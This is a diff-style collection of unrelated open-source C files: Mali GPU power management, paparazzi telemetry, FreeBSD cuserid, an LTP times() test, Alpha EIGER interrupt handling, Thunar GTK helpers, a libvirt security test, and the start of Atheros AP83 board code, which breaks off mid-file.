b/pool/shard011/C/0141573_mali_kbase_runtime_pm.c new file mode 100644 index 0000000000000000000000000000000000000000..9fe37c8d835ec4b56008c9fd8c3d58284585fd65 --- /dev/null +++ b/pool/shard011/C/0141573_mali_kbase_runtime_pm.c @@ -0,0 +1,121 @@ +/* + * + * (C) COPYRIGHT 2015, 2017 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU licence. + * + * A copy of the licence is included with the program, and can also be obtained + * from Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + * Boston, MA 02110-1301, USA. + * + */ + + + +#include +#include +#include +#include "mali_kbase_config_platform.h" + +static int pm_callback_power_on(struct kbase_device *kbdev) +{ + int ret = 1; /* Assume GPU has been powered off */ + int error; + + dev_dbg(kbdev->dev, "pm_callback_power_on %p\n", + (void *)kbdev->dev->pm_domain); + + error = pm_runtime_get_sync(kbdev->dev); + if (error == 1) { + /* + * Let core know that the chip has not been + * powered off, so we can save on re-initialization. + */ + ret = 0; + } + + dev_dbg(kbdev->dev, "pm_runtime_get_sync returned %d\n", error); + + return ret; +} + +static void pm_callback_power_off(struct kbase_device *kbdev) +{ + dev_dbg(kbdev->dev, "pm_callback_power_off\n"); + + pm_runtime_mark_last_busy(kbdev->dev); + pm_runtime_put_autosuspend(kbdev->dev); +} + +int kbase_device_runtime_init(struct kbase_device *kbdev) +{ + int ret = 0; + + dev_dbg(kbdev->dev, "kbase_device_runtime_init\n"); + + pm_runtime_set_autosuspend_delay(kbdev->dev, AUTO_SUSPEND_DELAY); + pm_runtime_use_autosuspend(kbdev->dev); + + pm_runtime_set_active(kbdev->dev); + pm_runtime_enable(kbdev->dev); + + if (!pm_runtime_enabled(kbdev->dev)) { + dev_warn(kbdev->dev, "pm_runtime not enabled"); + ret = -ENOSYS; + } + + return ret; +} + +void kbase_device_runtime_disable(struct kbase_device *kbdev) +{ + dev_dbg(kbdev->dev, "kbase_device_runtime_disable\n"); + pm_runtime_disable(kbdev->dev); +} + +static int pm_callback_runtime_on(struct kbase_device *kbdev) +{ + dev_dbg(kbdev->dev, "pm_callback_runtime_on\n"); + + return 0; +} + +static void pm_callback_runtime_off(struct kbase_device *kbdev) +{ + dev_dbg(kbdev->dev, "pm_callback_runtime_off\n"); +} + +static void pm_callback_resume(struct kbase_device *kbdev) +{ + int ret = pm_callback_runtime_on(kbdev); + + WARN_ON(ret); +} + +static void pm_callback_suspend(struct kbase_device *kbdev) +{ + pm_callback_runtime_off(kbdev); +} + +struct kbase_pm_callback_conf pm_callbacks = { + .power_on_callback = pm_callback_power_on, + .power_off_callback = pm_callback_power_off, + .power_suspend_callback = pm_callback_suspend, + .power_resume_callback = pm_callback_resume, +#ifdef KBASE_PM_RUNTIME + .power_runtime_init_callback = kbase_device_runtime_init, + .power_runtime_term_callback = kbase_device_runtime_disable, + .power_runtime_on_callback = pm_callback_runtime_on, + .power_runtime_off_callback = pm_callback_runtime_off, +#else /* KBASE_PM_RUNTIME */ + .power_runtime_init_callback = NULL, + .power_runtime_term_callback = NULL, + .power_runtime_on_callback = NULL, + .power_runtime_off_callback = NULL, +#endif /* KBASE_PM_RUNTIME */ +}; + + diff --git a/pool/shard011/C/0141574_downlink.c b/pool/shard011/C/0141574_downlink.c new file mode 100644 index 0000000000000000000000000000000000000000..6d3f522bb6f22e46af98edd2d620052164bbb88a --- /dev/null +++ b/pool/shard011/C/0141574_downlink.c @@ -0,0 +1,97 @@ +/* + * Copyright (C) 2006 Pascal Brisset, Antoine Drouin + * + * This file is part of paparazzi. + * + * paparazzi is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2, or (at your option) + * any later version. + * + * paparazzi is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with paparazzi; see the file COPYING. If not, write to + * the Free Software Foundation, 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +/** \file downlink.c + * \brief Common code for AP and FBW telemetry + * + */ + + +#include "subsystems/datalink/downlink.h" + +struct downlink downlink; + +#if PERIODIC_TELEMETRY +#include "subsystems/datalink/telemetry.h" +#include "subsystems/datalink/datalink.h" +#include "mcu_periph/sys_time.h" + +static void send_downlink(struct transport_tx *trans, struct link_device *dev) +{ + static uint32_t last_nb_bytes = 0; + // timestamp in usec when last message was send + static uint32_t last_ts = 0.; + // current timestamp + uint32_t now_ts = get_sys_time_msec(); + // compute downlink byte rate + if (now_ts > last_ts) { + uint16_t rate = (1000 * ((uint32_t)downlink.nb_bytes - last_nb_bytes)) / (now_ts - last_ts); + last_ts = now_ts; + last_nb_bytes = downlink.nb_bytes; + +#if defined DATALINK + uint16_t uplink_nb_msgs = datalink_nb_msgs; +#else + uint16_t uplink_nb_msgs = 0; +#endif + + pprz_msg_send_DATALINK_REPORT(trans, dev, AC_ID, + &datalink_time, &uplink_nb_msgs, + &downlink.nb_msgs, &rate, &downlink.nb_ovrn); + } +} +#endif + +void downlink_init(void) +{ + downlink.nb_ovrn = 0; + downlink.nb_bytes = 0; + downlink.nb_msgs = 0; + +#if defined DATALINK + + datalink_nb_msgs = 0; + +#if DATALINK == PPRZ || DATALINK == SUPERBITRF || DATALINK == W5100 + pprz_transport_init(&pprz_tp); +#endif +#if DATALINK == XBEE + xbee_init(); +#endif +#if DATALINK == W5100 + w5100_init(); +#endif +#endif + +#if USE_PPRZLOG + pprzlog_transport_init(); +#endif + +#if SITL + ivy_transport_init(); +#endif + +#if PERIODIC_TELEMETRY + register_periodic_telemetry(DefaultPeriodic, "DATALINK_REPORT", send_downlink); +#endif +} + diff --git a/pool/shard011/C/0141575_cuserid.c b/pool/shard011/C/0141575_cuserid.c new file mode 100644 index 0000000000000000000000000000000000000000..eea1c6fd1c89caeb412e8b14ab17aef14b2ddcf3 --- /dev/null +++ b/pool/shard011/C/0141575_cuserid.c @@ -0,0 +1,56 @@ +/*- + * Copyright (c) 1992, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#if defined(LIBC_SCCS) && !defined(lint) +static char sccsid[] = "@(#)cuserid.c 8.1 (Berkeley) 6/4/93"; +#endif /* LIBC_SCCS and not lint */ +#include +__FBSDID("$FreeBSD$"); + +#include +#include +#include +#include + +char * +cuserid(char *s) +{ + struct passwd *pwd; + + if ((pwd = getpwuid(geteuid())) == NULL) { + if (s) + *s = '\0'; + return (s); + } + if (s) { + (void)strncpy(s, pwd->pw_name, L_cuserid); + return (s); + } + return (pwd->pw_name); +} diff --git a/pool/shard011/C/0141576_times03.c b/pool/shard011/C/0141576_times03.c new file mode 100644 index 0000000000000000000000000000000000000000..c73fc0e8a82e69b66b44596a7401a23d720f1a1f --- /dev/null +++ b/pool/shard011/C/0141576_times03.c @@ -0,0 +1,200 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (C) 2017 Cyril Hrubis + */ +/* + * DESCRIPTION + * Testcase to check the basic functionality of the times() system call. + * + * ALGORITHM + * This testcase checks the values that times(2) system call returns. + * Start a process, and spend some CPU time by performing a spin in + * a for-loop. Then use the times() system call, to determine the + * cpu time/sleep time, and other statistics. + * + * History + * 07/2001 John George + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" + +static volatile int timeout; + +static void sighandler(int signal) +{ + if (signal == SIGALRM) + timeout = 1; +} + +static volatile int k; + +static void work(void) +{ + int i, j; + + while (!timeout) + for (i = 0; i < 10000; i++) + for (j = 0; j < 100; j++) + k = i * j; + timeout = 0; +} + +static void generate_utime(void) +{ + alarm(1); + work(); +} + +static void generate_stime(void) +{ + time_t start_time, end_time; + struct tms buf; + + /* + * At least some CPU time must be used in system space. This is + * achieved by executing the times(2) call for + * atleast 2 secs. This logic makes it independant + * of the processor speed. + */ + start_time = time(NULL); + for (;;) { + if (times(&buf) == -1) + tst_res(TFAIL | TERRNO, "times failed"); + end_time = time(NULL); + if ((end_time - start_time) > 2) + return; + } +} + +static void verify_times(void) +{ + int pid; + struct tms buf1, buf2, buf3; + + if (times(&buf1) == -1) + tst_brk(TBROK | TERRNO, "times()"); + + if (buf1.tms_utime > 5) + tst_res(TFAIL, "buf1.tms_utime = %li", buf1.tms_utime); + else + tst_res(TPASS, "buf1.tms_utime <= 5"); + + if (buf1.tms_stime > 5) + tst_res(TFAIL, "buf1.tms_stime = %li", buf1.tms_stime); + else + tst_res(TPASS, "buf1.tms_stime <= 5"); + + generate_utime(); + generate_stime(); + + if (times(&buf2) == -1) + tst_brk(TBROK | TERRNO, "times()"); + + if (buf2.tms_utime == 0) + tst_res(TFAIL, "buf2.tms_utime = 0"); + else + tst_res(TPASS, "buf2.tms_utime = %li", buf2.tms_utime); + + if (buf1.tms_utime >= buf2.tms_utime) { + tst_res(TFAIL, "buf1.tms_utime (%li) >= buf2.tms_utime (%li)", + buf1.tms_utime, buf2.tms_utime); + } else { + tst_res(TPASS, "buf1.tms_utime (%li) < buf2.tms_utime (%li)", + buf1.tms_utime, buf2.tms_utime); + } + + if (buf2.tms_stime == 0) + tst_res(TFAIL, "buf2.tms_stime = 0"); + else + tst_res(TPASS, "buf2.tms_stime = %li", buf2.tms_stime); + + if (buf1.tms_stime >= buf2.tms_stime) { + tst_res(TFAIL, "buf1.tms_stime (%li) >= buf2.tms_stime (%li)", + buf1.tms_stime, buf2.tms_stime); + } else { + tst_res(TPASS, "buf1.tms_stime (%li) < buf2.tms_stime (%li)", + buf1.tms_stime, buf2.tms_stime); + } + + if (buf2.tms_cutime != 0) + tst_res(TFAIL, "buf2.tms_cutime = %li", buf2.tms_cutime); + else + tst_res(TPASS, "buf2.tms_cutime = 0"); + + if (buf2.tms_cstime != 0) + tst_res(TFAIL, "buf2.tms_cstime = %li", buf2.tms_cstime); + else + tst_res(TPASS, "buf2.tms_cstime = 0"); + + pid = SAFE_FORK(); + + if (!pid) { + generate_utime(); + generate_stime(); + exit(0); + } + + SAFE_WAITPID(pid, NULL, 0); + + if (times(&buf3) == -1) + tst_brk(TBROK | TERRNO, "times()"); + + if (buf2.tms_utime > buf3.tms_utime) { + tst_res(TFAIL, "buf2.tms_utime (%li) > buf3.tms_utime (%li)", + buf2.tms_utime, buf3.tms_utime); + } else { + tst_res(TPASS, "buf2.tms_utime (%li) <= buf3.tms_utime (%li)", + buf2.tms_utime, buf3.tms_utime); + } + + if (buf2.tms_stime > buf3.tms_stime) { + tst_res(TFAIL, "buf2.tms_stime (%li) > buf3.tms_stime (%li)", + buf2.tms_stime, buf3.tms_stime); + } else { + tst_res(TPASS, "buf2.tms_stime (%li) <= buf3.tms_stime (%li)", + buf2.tms_stime, buf3.tms_stime); + } + + if (buf3.tms_cutime == 0) + tst_res(TFAIL, "buf3.tms_cutime = 0"); + else + tst_res(TPASS, "buf3.tms_cutime = %ld", buf3.tms_cutime); + + if (buf3.tms_cstime == 0) + tst_res(TFAIL, "buf3.tms_cstime = 0"); + else + tst_res(TPASS, "buf3.tms_cstime = %ld", buf3.tms_cstime); + + exit(0); +} + +/* + * Run the test in a child to reset times in case of -i option. + */ +static void do_test(void) +{ + int pid = SAFE_FORK(); + + if (!pid) + verify_times(); +} + +static void setup(void) +{ + SAFE_SIGNAL(SIGALRM, sighandler); +} + +static struct tst_test test = { + .setup = setup, + .forks_child = 1, + .test_all = do_test, +}; diff --git a/pool/shard011/C/0141577_sys_eiger.c b/pool/shard011/C/0141577_sys_eiger.c new file mode 100644 index 0000000000000000000000000000000000000000..0b44a54c1522ad87caad7c4d90853e4a37ebb7a5 --- /dev/null +++ b/pool/shard011/C/0141577_sys_eiger.c @@ -0,0 +1,227 @@ +/* + * linux/arch/alpha/kernel/sys_eiger.c + * + * Copyright (C) 1995 David A Rusling + * Copyright (C) 1996, 1999 Jay A Estabrook + * Copyright (C) 1998, 1999 Richard Henderson + * Copyright (C) 1999 Iain Grant + * + * Code supporting the EIGER (EV6+TSUNAMI). + */ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "proto.h" +#include "irq_impl.h" +#include "pci_impl.h" +#include "machvec_impl.h" + + +/* Note that this interrupt code is identical to TAKARA. */ + +/* Note mask bit is true for DISABLED irqs. */ +static unsigned long cached_irq_mask[2] = { -1, -1 }; + +static inline void +eiger_update_irq_hw(unsigned long irq, unsigned long mask) +{ + int regaddr; + + mask = (irq >= 64 ? mask << 16 : mask >> ((irq - 16) & 0x30)); + regaddr = 0x510 + (((irq - 16) >> 2) & 0x0c); + outl(mask & 0xffff0000UL, regaddr); +} + +static inline void +eiger_enable_irq(struct irq_data *d) +{ + unsigned int irq = d->irq; + unsigned long mask; + mask = (cached_irq_mask[irq >= 64] &= ~(1UL << (irq & 63))); + eiger_update_irq_hw(irq, mask); +} + +static void +eiger_disable_irq(struct irq_data *d) +{ + unsigned int irq = d->irq; + unsigned long mask; + mask = (cached_irq_mask[irq >= 64] |= 1UL << (irq & 63)); + eiger_update_irq_hw(irq, mask); +} + +static struct irq_chip eiger_irq_type = { + .name = "EIGER", + .irq_unmask = eiger_enable_irq, + .irq_mask = eiger_disable_irq, + .irq_mask_ack = eiger_disable_irq, +}; + +static void +eiger_device_interrupt(unsigned long vector) +{ + unsigned intstatus; + + /* + * The PALcode will have passed us vectors 0x800 or 0x810, + * which are fairly arbitrary values and serve only to tell + * us whether an interrupt has come in on IRQ0 or IRQ1. If + * it's IRQ1 it's a PCI interrupt; if it's IRQ0, it's + * probably ISA, but PCI interrupts can come through IRQ0 + * as well if the interrupt controller isn't in accelerated + * mode. + * + * OTOH, the accelerator thing doesn't seem to be working + * overly well, so what we'll do instead is try directly + * examining the Master Interrupt Register to see if it's a + * PCI interrupt, and if _not_ then we'll pass it on to the + * ISA handler. + */ + + intstatus = inw(0x500) & 15; + if (intstatus) { + /* + * This is a PCI interrupt. Check each bit and + * despatch an interrupt if it's set. + */ + + if (intstatus & 8) handle_irq(16+3); + if (intstatus & 4) handle_irq(16+2); + if (intstatus & 2) handle_irq(16+1); + if (intstatus & 1) handle_irq(16+0); + } else { + isa_device_interrupt(vector); + } +} + +static void +eiger_srm_device_interrupt(unsigned long vector) +{ + int irq = (vector - 0x800) >> 4; + handle_irq(irq); +} + +static void __init +eiger_init_irq(void) +{ + long i; + + outb(0, DMA1_RESET_REG); + outb(0, DMA2_RESET_REG); + outb(DMA_MODE_CASCADE, DMA2_MODE_REG); + outb(0, DMA2_MASK_REG); + + if (alpha_using_srm) + alpha_mv.device_interrupt = eiger_srm_device_interrupt; + + for (i = 16; i < 128; i += 16) + eiger_update_irq_hw(i, -1); + + init_i8259a_irqs(); + + for (i = 16; i < 128; ++i) { + set_irq_chip_and_handler(i, &eiger_irq_type, handle_level_irq); + irq_set_status_flags(i, IRQ_LEVEL); + } +} + +static int __init +eiger_map_irq(struct pci_dev *dev, u8 slot, u8 pin) +{ + u8 irq_orig; + + /* The SRM console has already calculated out the IRQ value's for + option cards. As this works lets just read in the value already + set and change it to a useable value by Linux. + + All the IRQ values generated by the console are greater than 90, + so we subtract 80 because it is (90 - allocated ISA IRQ's). */ + + pci_read_config_byte(dev, PCI_INTERRUPT_LINE, &irq_orig); + + return irq_orig - 0x80; +} + +static u8 __init +eiger_swizzle(struct pci_dev *dev, u8 *pinp) +{ + struct pci_controller *hose = dev->sysdata; + int slot, pin = *pinp; + int bridge_count = 0; + + /* Find the number of backplane bridges. */ + int backplane = inw(0x502) & 0x0f; + + switch (backplane) + { + case 0x00: bridge_count = 0; break; /* No bridges */ + case 0x01: bridge_count = 1; break; /* 1 */ + case 0x03: bridge_count = 2; break; /* 2 */ + case 0x07: bridge_count = 3; break; /* 3 */ + case 0x0f: bridge_count = 4; break; /* 4 */ + }; + + slot = PCI_SLOT(dev->devfn); + while (dev->bus->self) { + /* Check for built-in bridges on hose 0. */ + if (hose->index == 0 + && (PCI_SLOT(dev->bus->self->devfn) + > 20 - bridge_count)) { + slot = PCI_SLOT(dev->devfn); + break; + } + /* Must be a card-based bridge. */ + pin = pci_swizzle_interrupt_pin(dev, pin); + + /* Move up the chain of bridges. */ + dev = dev->bus->self; + } + *pinp = pin; + return slot; +} + +/* + * The System Vectors + */ + +struct alpha_machine_vector eiger_mv __initmv = { + .vector_name = "Eiger", + DO_EV6_MMU, + DO_DEFAULT_RTC, + DO_TSUNAMI_IO, + .machine_check = tsunami_machine_check, + .max_isa_dma_address = ALPHA_MAX_ISA_DMA_ADDRESS, + .min_io_address = DEFAULT_IO_BASE, + .min_mem_address = DEFAULT_MEM_BASE, + .pci_dac_offset = TSUNAMI_DAC_OFFSET, + + .nr_irqs = 128, + .device_interrupt = eiger_device_interrupt, + + .init_arch = tsunami_init_arch, + .init_irq = eiger_init_irq, + .init_rtc = common_init_rtc, + .init_pci = common_init_pci, + .kill_arch = tsunami_kill_arch, + .pci_map_irq = eiger_map_irq, + .pci_swizzle = eiger_swizzle, +}; +ALIAS_MV(eiger) diff --git a/pool/shard011/C/0141578_thunar-gtk-extensions.c b/pool/shard011/C/0141578_thunar-gtk-extensions.c new file mode 100644 index 0000000000000000000000000000000000000000..1938a957d73da994a1e9beddd49521ea35cffc50 --- /dev/null +++ b/pool/shard011/C/0141578_thunar-gtk-extensions.c @@ -0,0 +1,273 @@ +/* $Id$ */ +/*- + * Copyright (c) 2005-2006 Benedikt Meurer + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the Free + * Software Foundation; either version 2 of the License, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#ifdef HAVE_STDARG_H +#include +#endif + +#include + +#include +#include +#include + + + +/** + * thunar_gtk_action_set_tooltip: + * @action : a #GtkAction. + * @format : the format string for the tooltip. + * @... : the parameters for @format. + * + * Convenience function to set a tooltip for a #GtkAction. + **/ +void +thunar_gtk_action_set_tooltip (GtkAction *action, + const gchar *format, + ...) +{ + va_list var_args; + gchar *tooltip; + + _thunar_return_if_fail (g_utf8_validate (format, -1, NULL)); + _thunar_return_if_fail (GTK_IS_ACTION (action)); + + /* determine the tooltip */ + va_start (var_args, format); + tooltip = g_strdup_vprintf (format, var_args); + va_end (var_args); + + /* setup the tooltip for the action */ + gtk_action_set_tooltip (action, tooltip); + + /* release the tooltip */ + g_free (tooltip); +} + + + +/** + * thunar_gtk_action_group_set_action_sensitive: + * @action_group : a #GtkActionGroup. + * @action_name : the name of a #GtkAction in @action_group. + * @sensitive : the new sensitivity. + * + * Convenience function to change the sensitivity of an action + * in @action_group (whose name is @action_name) to @sensitive. + **/ +void +thunar_gtk_action_group_set_action_sensitive (GtkActionGroup *action_group, + const gchar *action_name, + gboolean sensitive) +{ + GtkAction *action; + + _thunar_return_if_fail (GTK_IS_ACTION_GROUP (action_group)); + _thunar_return_if_fail (action_name != NULL && *action_name != '\0'); + + /* query the action from the group */ + action = gtk_action_group_get_action (action_group, action_name); + + /* apply the sensitivity to the action */ + gtk_action_set_sensitive (action, sensitive); +} + + + +/** + * thunar_gtk_label_set_a11y_relation: + * @label : a #GtkLabel. + * @widget : a #GtkWidget. + * + * Sets the %ATK_RELATION_LABEL_FOR relation on @label for @widget, which means + * accessiblity tools will identify @label as descriptive item for the specified + * @widget. + **/ +void +thunar_gtk_label_set_a11y_relation (GtkLabel *label, + GtkWidget *widget) +{ + AtkRelationSet *relations; + AtkRelation *relation; + AtkObject *object; + + _thunar_return_if_fail (GTK_IS_WIDGET (widget)); + _thunar_return_if_fail (GTK_IS_LABEL (label)); + + object = gtk_widget_get_accessible (widget); + relations = atk_object_ref_relation_set (gtk_widget_get_accessible (GTK_WIDGET (label))); + relation = atk_relation_new (&object, 1, ATK_RELATION_LABEL_FOR); + atk_relation_set_add (relations, relation); + g_object_unref (G_OBJECT (relation)); +} + + + +/** + * thunar_gtk_menu_run: + * @menu : a #GtkMenu. + * @parent : either a #GtkWidget or a #GdkScreen which determines the screen + * on which to run the @menu. May also be %NULL, which means that + * the screen of @menu will not be altered. + * @func : a user supplied function used to position the menu, or %NULL. + * @data : user supplied data to be passed to @func. + * @button : the mouse button which was pressed to initiate the event. + * @activate_time : the time at which the activation event occurred. + * + * A simple wrapper around gtk_menu_popup(), which runs the @menu in a separate + * main loop and returns only after the @menu was deactivated. + * + * This method automatically takes over the floating reference of @menu if any and + * releases it on return. That means if you created the menu via gtk_menu_new() you'll + * not need to take care of destroying the menu later. + **/ +void +thunar_gtk_menu_run (GtkMenu *menu, + gpointer parent, + GtkMenuPositionFunc func, + gpointer data, + guint button, + guint32 activate_time) +{ + GMainLoop *loop; + gulong signal_id; + + _thunar_return_if_fail (parent == NULL || GDK_IS_SCREEN (parent) || GTK_IS_WIDGET (parent)); + _thunar_return_if_fail (GTK_IS_MENU (menu)); + + /* take over the floating reference on the menu */ + g_object_ref_sink (G_OBJECT (menu)); + + /* place the menu on the same screen as the parent */ + if (G_UNLIKELY (parent != NULL && GDK_IS_SCREEN (parent))) + gtk_menu_set_screen (menu, GDK_SCREEN (parent)); + else if (G_LIKELY (parent != NULL && GTK_IS_WIDGET (parent))) + gtk_menu_set_screen (menu, gtk_widget_get_screen (GTK_WIDGET (parent))); + + /* run an internal main loop */ + gtk_grab_add (GTK_WIDGET (menu)); + loop = g_main_loop_new (NULL, FALSE); + signal_id = g_signal_connect_swapped (G_OBJECT (menu), "deactivate", G_CALLBACK (g_main_loop_quit), loop); + gtk_menu_popup (menu, NULL, NULL, func, data, button, activate_time); + g_main_loop_run (loop); + g_signal_handler_disconnect (G_OBJECT (menu), signal_id); + g_main_loop_unref (loop); + gtk_grab_remove (GTK_WIDGET (menu)); + + /* release the menu reference */ + g_object_unref (G_OBJECT (menu)); +} + + + +/** + * thunar_gtk_ui_manager_get_action_by_name: + * @ui_manager : a #GtkUIManager. + * @action_name : the name of a #GtkAction in @ui_manager. + * + * Looks up the #GtkAction with the given @action_name in all + * #GtkActionGroups associated with @ui_manager. Returns + * %NULL if no such #GtkAction exists in @ui_manager. + * + * Return value: the #GtkAction of the given @action_name in + * @ui_manager or %NULL. + **/ +GtkAction* +thunar_gtk_ui_manager_get_action_by_name (GtkUIManager *ui_manager, + const gchar *action_name) +{ + GtkAction *action; + GList *lp; + + _thunar_return_val_if_fail (GTK_IS_UI_MANAGER (ui_manager), NULL); + _thunar_return_val_if_fail (action_name != NULL, NULL); + + /* check all action groups associated with the ui manager */ + for (lp = gtk_ui_manager_get_action_groups (ui_manager); lp != NULL; lp = lp->next) + { + action = gtk_action_group_get_action (lp->data, action_name); + if (G_LIKELY (action != NULL)) + return action; + } + + return NULL; +} + + + +/** + * thunar_gtk_widget_set_tooltip: + * @widget : a #GtkWidget for which to set the tooltip. + * @format : a printf(3)-style format string. + * @... : additional arguments for @format. + * + * Sets the tooltip for the @widget to a string generated + * from the @format and the additional arguments in @.... + **/ +void +thunar_gtk_widget_set_tooltip (GtkWidget *widget, + const gchar *format, + ...) +{ + va_list var_args; + gchar *tooltip; + + _thunar_return_if_fail (GTK_IS_WIDGET (widget)); + _thunar_return_if_fail (g_utf8_validate (format, -1, NULL)); + + /* determine the tooltip */ + va_start (var_args, format); + tooltip = g_strdup_vprintf (format, var_args); + va_end (var_args); + + /* setup the tooltip for the widget */ + gtk_widget_set_tooltip_text (widget, tooltip); + + /* release the tooltip */ + g_free (tooltip); +} + + + +/** + * thunar_gtk_mount_operation_new: + * @parent : a #GtkWindow or non-toplevel widget. + * + * Create a mount operation with some defaults. + **/ +GMountOperation * +thunar_gtk_mount_operation_new (gpointer parent) +{ + GMountOperation *operation; + GdkScreen *screen; + GtkWindow *window = NULL; + + screen = thunar_util_parse_parent (parent, &window); + + operation = gtk_mount_operation_new (window); + g_mount_operation_set_password_save (G_MOUNT_OPERATION (operation), G_PASSWORD_SAVE_FOR_SESSION); + if (window == NULL && screen != NULL) + gtk_mount_operation_set_screen (GTK_MOUNT_OPERATION (operation), screen); + + return operation; +} diff --git a/pool/shard011/C/0141579_seclabeltest.c b/pool/shard011/C/0141579_seclabeltest.c new file mode 100644 index 0000000000000000000000000000000000000000..be6e79ff6af9d28c4a709a6e03c7066132293ca5 --- /dev/null +++ b/pool/shard011/C/0141579_seclabeltest.c @@ -0,0 +1,46 @@ +#include + +#include +#include +#include +#include +#include +#include "security/security_driver.h" +#include "virrandom.h" +#include "testutils.h" + +static int +mymain(void) +{ + virSecurityManagerPtr mgr; + const char *doi, *model; + + if (virThreadInitialize() < 0) + return EXIT_FAILURE; + + mgr = virSecurityManagerNew(NULL, "QEMU", VIR_SECURITY_MANAGER_DEFAULT_CONFINED); + if (mgr == NULL) { + fprintf(stderr, "Failed to start security driver"); + return EXIT_FAILURE; + } + + model = virSecurityManagerGetModel(mgr); + if (!model) { + fprintf(stderr, "Failed to copy secModel model: %s", + strerror(errno)); + return EXIT_FAILURE; + } + + doi = virSecurityManagerGetDOI(mgr); + if (!doi) { + fprintf(stderr, "Failed to copy secModel DOI: %s", + strerror(errno)); + return EXIT_FAILURE; + } + + virObjectUnref(mgr); + + return 0; +} + +VIRT_TEST_MAIN(mymain) diff --git a/pool/shard011/C/0141580_mach-ap83.c b/pool/shard011/C/0141580_mach-ap83.c new file mode 100644 index 0000000000000000000000000000000000000000..2eab994555e2a6a76e54aa6e04ab105025ed1bb8 --- /dev/null +++ b/pool/shard011/C/0141580_mach-ap83.c @@ -0,0 +1,267 @@ +/* + * Atheros AP83 board support + * + * Copyright (C) 2008-2009 Gabor Juhos + * Copyright (C) 2008 Imre Kaloz + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "machtype.h" +#include "devices.h" +#include "dev-ar9xxx-wmac.h" +#include "dev-gpio-buttons.h" +#include "dev-leds-gpio.h" +#include "dev-usb.h" + +#define AP83_GPIO_LED_WLAN 6 +#define AP83_GPIO_LED_POWER 14 +#define AP83_GPIO_LED_JUMPSTART 15 +#define AP83_GPIO_BTN_JUMPSTART 12 +#define AP83_GPIO_BTN_RESET 21 + +#define AP83_050_GPIO_VSC7385_CS 1 +#define AP83_050_GPIO_VSC7385_MISO 3 +#define AP83_050_GPIO_VSC7385_MOSI 16 +#define AP83_050_GPIO_VSC7385_SCK 17 + +#define AP83_KEYS_POLL_INTERVAL 20 /* msecs */ +#define AP83_KEYS_DEBOUNCE_INTERVAL (3 * AP83_KEYS_POLL_INTERVAL) + +#ifdef CONFIG_MTD_PARTITIONS +static struct mtd_partition ap83_flash_partitions[] = { + { + .name = "u-boot", + .offset = 0, + .size = 0x040000, + .mask_flags = MTD_WRITEABLE, + }, { + .name = "u-boot-env", + .offset = 0x040000, + .size = 0x020000, + .mask_flags = MTD_WRITEABLE, + }, { + .name = "kernel", + .offset = 0x060000, + .size = 0x140000, + }, { + .name = "rootfs", + .offset = 0x1a0000, + .size = 0x650000, + }, { + .name = "art", + .offset = 0x7f0000, + .size = 0x010000, + .mask_flags = MTD_WRITEABLE, + }, { + .name = "firmware", + .offset = 0x060000, + .size = 0x790000, + } +}; +#endif /* CONFIG_MTD_PARTITIONS */ + +static struct ar91xx_flash_platform_data ap83_flash_data = { + .width = 2, +#ifdef CONFIG_MTD_PARTITIONS + .parts = ap83_flash_partitions, + .nr_parts = ARRAY_SIZE(ap83_flash_partitions), +#endif +}; + +static struct resource ap83_flash_resources[] = { + [0] = { + .start = AR71XX_SPI_BASE, + .end = AR71XX_SPI_BASE + AR71XX_SPI_SIZE - 1, + .flags = IORESOURCE_MEM, + }, +}; + +static struct platform_device ap83_flash_device = { + .name = "ar91xx-flash", + .id = -1, + .resource = ap83_flash_resources, + .num_resources = ARRAY_SIZE(ap83_flash_resources), 